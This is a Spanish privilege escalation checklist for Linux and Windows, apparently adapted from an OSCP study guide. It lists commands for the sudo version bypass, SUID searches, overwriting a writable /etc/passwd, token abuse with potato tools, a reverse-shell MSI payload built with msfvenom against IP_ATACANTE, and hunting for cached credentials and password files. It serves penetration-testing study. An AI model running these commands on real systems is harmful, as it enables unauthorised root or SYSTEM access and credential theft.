Escalada de privilegios
Linux
Recursos
Vectores de escalada sencillos
Usuario con credenciales válidas (sudo -l):
Ejecutar
sudo -l
para ver qué binarios se pueden ejecutar consudo
, consultar GTFOBinsEjecutar
sudo -V
para obtener la versión, si es inferior a 1.28, se puede usarsudo -u#-1 /bin/bash
Binarios SUID:
Ejecutar
find / -perm -u=s -type f 2>/dev/null
Ejecutar
find / -perm -4000 2>/dev/null
Consultar GTFOBins
Exploits de Kernel:
Ejecutar
uname -a
&&searchsploit
/etc/passwd con permisos de escritura:
Ejecutar
ls -la /etc/passwd
para ver si se tienen permisos de escrituraEjecutar
openssl passwd -1 -salt hacker hacker
y reemplazar la entrada de contraseña deroot
(o eliminarx
)Ejecutar
su root
hacker
Checklist
Tratamiento de la TTY si la shell ****si no es interactiva:
Ejecutar
python -c 'import pty;pty.spawn("/bin/bash")'
Ejecutar
python -c 'import pty;pty.spawn("/bin/sh")'
Ejecutar
python3 -c 'import pty;pty.spawn("/bin/bash")'
Ejecutar
python3 -c 'import pty;pty.spawn("/bin/sh")'
Alternativa más completa y estable:
Obtener contexto del sistema usuario actual, nombre de host, grupos
Ejecutar
whoami
id
hostname
Obtener versión del kernel y buscar vulnerabilidades
Ejecutar
uname -a
&&searchsploit
Verificar sudo (contraseña válida)
Ejecutar
sudo -l
sudo -V
(por debajo de 1.28sudo -u#-1 /bin/bash
)
Verificar binarios SUID
Ejecutar
find / -perm -u=s -type f 2>/dev/null
Ejecutar
find / -perm -4000 2>/dev/null
Verificar usuarios y /etc/passwd con permisos de escritura
Ejecutar
ls -la /etc/passwd
/cat /etc/passwd
Verificar entorno
Ejecutar
echo $PATH
/(env || set) 2>/dev/null
/history
/cat ~/.bashrc
Verificar procesos
Ejecutar
ps aux
/ps -ef
/watch -n 1 "ps -aux | grep pass"
Verificar cronjobs
Ejecutar
ls -lah /etc/cron*
/cat /var/log/syslog | grep cron
/cat /var/log/cron.log
Ejecutar
grep "CRON" /var/log/syslog
/ls -la /etc/cron.d
/ls -la /etc/cron.hourly
Verificar archivos escribibles/utilizables y permisos de archivos
Ejecutar
find / -writable -type d 2>/dev/null
Ejecutar
find / -perm -u=s -type f 2>/dev/null
Ejecutar
ls -la
Verificar redes y servicios en ejecución en localhost
Ejecutar
ip a
/netstat
/ss -natup
Herramientas automatizadas
Windows
Recursos
https://github.com/expl0itabl3/Toolies ← Más binarios compilados
Vectores de escalada sencillos
Abuso de Tokens
Ejecutar
whoami /priv
>>SeImpersonatePrivilege
Usar
PrintSpoofer
oGodPotato
Verificar Registro AlwaysInstallElevated
Ejecutar
reg query HKCU\\\\\\\\SOFTWARE\\\\\\\\Policies\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Installer /v AlwaysInstallElevated
si devuelve0x1
, crear un MSI que se ejecutará como SYSTEMEjecutar
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP_ATACANTE LPORT=PUERTO_LOCAL -f msi -o evil.msi
Ejecutar
msiexec /quiet /qn /i C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\malicious.msi
Credenciales en caché
Ejecutar
cmdkey /list
Historial de PowerShell
Ejecutar
Get-History
Ejecutar
(Get-PSReadlineOption).HistorySavePath
Ejecutar
type %userprofile%\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\PowerShell\\\\\\\\PSReadline\\\\\\\\ConsoleHost_history.txt
Cheat Sheet
Obtener contexto, usuarios y grupos
Ejecutar
whoami
net user
net group
whoami /groups
Verificar tokens/privilegios
Ejecutar
whoami /priv
>>SeImpersonatePrivilege
Verificar claves de registro
Ejecutar
reg query HKCU\\\\\\\\SOFTWARE\\\\\\\\Policies\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Installer /v AlwaysInstallElevated
>>0x1
Verificar credenciales en caché
Ejecutar
cmdkey /list
Verificar historial de PowerShell
Ejecutar
(Get-PSReadlineOption).HistorySavePath
Verificar servicios en ejecución en busca de ubicaciones sin comillas o no predeterminadas
Ejecutar
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
Verificar archivos binarios no predeterminados buscando archivos .dll (como archivos de registro también)
Ejecutar
C:\\\\\\\\TEMP\\\\\\\\???
C:\\\\\\\\Users\\\\\\\\user\\\\\\\\???
C:\\\\\\\\backup\\\\\\\\???
etc
Verificar archivos útiles en el directorio del usuario
Ejecutar
Get-ChildItem -Path C:\\\\\\\\Users\\\\\\\\ -Include *.txt -File -Recurse -ErrorAction SilentlyContinue
.log
.kdbx
.xml
cualquier archivo extraño en el directorio del usuario
Verificar tareas programadas ejecutadas por niveles superiores
Ejecutar
Get-ScheduledTask
schtasks /query
schtasks /query /fo LIST /v
Verificar archivos de base de datos de contraseñas
Ejecutar
Get-ChildItem -Path C:\\\\\\\\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
Verificar archivos de configuración
Ejecutar
Get-ChildItem -Path C:\\\\\\\\ -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
Verificar paquetes instalados
Ejecutar
Get-ItemProperty "HKLM:\\\\\\\\SOFTWARE\\\\\\\\Wow6432Node\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Uninstall\\\\\\\\*" | select displayname
Ejecutar
Get-ItemProperty "HKLM:\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Uninstall\\\\\\\\*" | select displayname
Herramientas automatizadas
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯
Fuente original: https://github.com/intotheewild/OSCP-Checklist
📝 LinkedIn ⮞ https://www.linkedin.com/in/david-rodriguez-ramos/ ▶️ YouTube ⮞ https://www.youtube.com/c/xerosec 🐦 Twitter ⮞ https://twitter.com/xerosec 🔴 Twitch ⮞ https://www.twitch.tv/xerosec 💬 Discord ⮞ https://discord.gg/E4AjK2XsFm
Última actualización